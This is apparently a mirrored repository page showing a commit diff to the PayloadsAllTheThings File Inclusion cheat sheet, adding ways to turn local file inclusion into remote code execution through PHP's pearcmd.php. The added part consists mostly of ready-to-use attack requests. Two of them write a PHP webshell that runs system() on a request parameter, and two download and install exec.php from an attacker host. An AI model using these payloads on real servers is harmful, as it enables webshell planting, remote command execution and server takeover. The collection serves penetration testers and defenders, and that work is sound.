ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-19 10:56:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Merge pull request #692 from jlkl/master

Browse Source 
Add two methods about LFI to RCE via PHP PEARCMD
This commit is contained in:
Swissky 2023-11-12 18:21:16 +01:00 committed by GitHub
commit d93a228b40
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
File Inclusion/README.md
View File

@ -507,7 +507,7 @@ The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directi
register_argc_argv = On
```
There are two ways to exploit it.
There are this ways to exploit it.
* Method 1: config create
```ps1
@ -516,17 +516,32 @@ There are two ways to exploit it.
```
* Method 2: man_dir
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+"
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
```
The created configuration file contains the webshell.
```php
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
```
* Method 3: download
Need external network connection.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id
```
* Method 4: install
Need external network connection.
Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
```
## LFI to RCE via credentials files